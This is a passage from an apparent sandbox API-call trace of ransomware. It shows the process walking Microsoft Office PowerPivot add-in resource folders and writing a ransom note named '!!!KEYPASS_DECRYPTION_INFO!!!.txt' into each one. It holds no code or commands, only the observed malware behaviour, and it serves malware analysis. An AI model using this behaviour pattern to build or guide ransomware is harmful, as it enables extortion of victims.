dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0255.339] GetFileType (hFile=0x924) returned 0x1 [0255.339] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.339] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.339] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.339] WriteFile (in: hFile=0x924, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.340] WriteFile (in: hFile=0x924, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.340] CloseHandle (hObject=0x924) returned 1 [0255.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3987f38 [0255.341] FindNextFileW (in: hFindFile=0x3987f38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.341] FindNextFileW (in: hFindFile=0x3987f38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.341] FindNextFileW (in: hFindFile=0x3987f38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.341] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.341] FindNextFileW (in: hFindFile=0x3987f38, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.341] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.341] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.341] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.341] GetLastError () returned 0x3f0 [0255.341] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.341] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1041\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928 [0255.342] GetFileType (hFile=0x928) returned 0x1 [0255.343] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.343] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.343] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.343] WriteFile (in: hFile=0x928, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.344] WriteFile (in: hFile=0x928, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.344] CloseHandle (hObject=0x928) returned 1 [0255.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3988078 [0255.344] FindNextFileW (in: hFindFile=0x3988078, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.345] FindNextFileW (in: hFindFile=0x3988078, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.345] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.345] FindNextFileW (in: hFindFile=0x3988078, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.345] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.345] FindNextFileW (in: hFindFile=0x3988078, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.345] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.345] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.345] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.345] GetLastError () returned 0x3f0 [0255.345] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.345] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1042\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x92c [0255.346] GetFileType (hFile=0x92c) returned 0x1 [0255.346] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.346] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.346] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.346] WriteFile (in: hFile=0x92c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.348] WriteFile (in: hFile=0x92c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.348] CloseHandle (hObject=0x92c) returned 1 [0255.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3988038 [0255.349] FindNextFileW (in: hFindFile=0x3988038, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.349] FindNextFileW (in: hFindFile=0x3988038, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.349] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.349] FindNextFileW (in: hFindFile=0x3988038, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.349] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.349] FindNextFileW (in: hFindFile=0x3988038, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.349] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.349] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.349] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.349] GetLastError () returned 0x3f0 [0255.349] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.349] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1043\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0255.351] GetFileType (hFile=0x918) returned 0x1 [0255.351] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.351] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.352] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.352] WriteFile (in: hFile=0x918, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.353] WriteFile (in: hFile=0x918, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.353] CloseHandle (hObject=0x918) returned 1 [0255.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3988178 [0255.353] FindNextFileW (in: hFindFile=0x3988178, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.353] FindNextFileW (in: hFindFile=0x3988178, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.353] FindNextFileW (in: hFindFile=0x3988178, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.353] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.353] FindNextFileW (in: hFindFile=0x3988178, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.353] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.354] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.354] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.354] GetLastError () returned 0x3f0 [0255.354] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.354] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1044\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0255.355] GetFileType (hFile=0x930) returned 0x1 [0255.355] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.355] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.355] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.355] WriteFile (in: hFile=0x930, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.356] WriteFile (in: hFile=0x930, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.356] CloseHandle (hObject=0x930) returned 1 [0255.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a378 [0255.357] FindNextFileW (in: hFindFile=0x3a0a378, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.357] FindNextFileW (in: hFindFile=0x3a0a378, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.357] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.357] FindNextFileW (in: hFindFile=0x3a0a378, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.357] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.357] FindNextFileW (in: hFindFile=0x3a0a378, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.357] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.357] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.357] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.357] GetLastError () returned 0x3f0 [0255.357] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.357] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1045\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938 [0255.359] GetFileType (hFile=0x938) returned 0x1 [0255.359] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.359] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.359] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.359] WriteFile (in: hFile=0x938, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.360] WriteFile (in: hFile=0x938, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.360] CloseHandle (hObject=0x938) returned 1 [0255.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a2f8 [0255.361] FindNextFileW (in: hFindFile=0x3a0a2f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.361] FindNextFileW (in: hFindFile=0x3a0a2f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.363] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.363] FindNextFileW (in: hFindFile=0x3a0a2f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.363] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.363] FindNextFileW (in: hFindFile=0x3a0a2f8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.363] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.363] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.363] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.363] GetLastError () returned 0x3f0 [0255.363] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.363] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1046\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c [0255.365] GetFileType (hFile=0x93c) returned 0x1 [0255.365] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0255.365] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0255.365] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0255.365] WriteFile (in: hFile=0x93c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.366] WriteFile (in: hFile=0x93c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0255.366] CloseHandle (hObject=0x93c) returned 1 [0255.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3a0a2b8 [0255.367] FindNextFileW (in: hFindFile=0x3a0a2b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.367] FindNextFileW (in: hFindFile=0x3a0a2b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.367] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.367] FindNextFileW (in: hFindFile=0x3a0a2b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0255.367] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\PowerPivotExcelClientAddIn.rll") returned=".rll" [0255.367] FindNextFileW (in: hFindFile=0x3a0a2b8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0255.367] FindNextFileW (in: hFindFile=0x3987c78, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.367] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0255.367] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3875d20 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.367] GetLastError () returned 0x3f0 [0255.367] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.367] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1048\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, 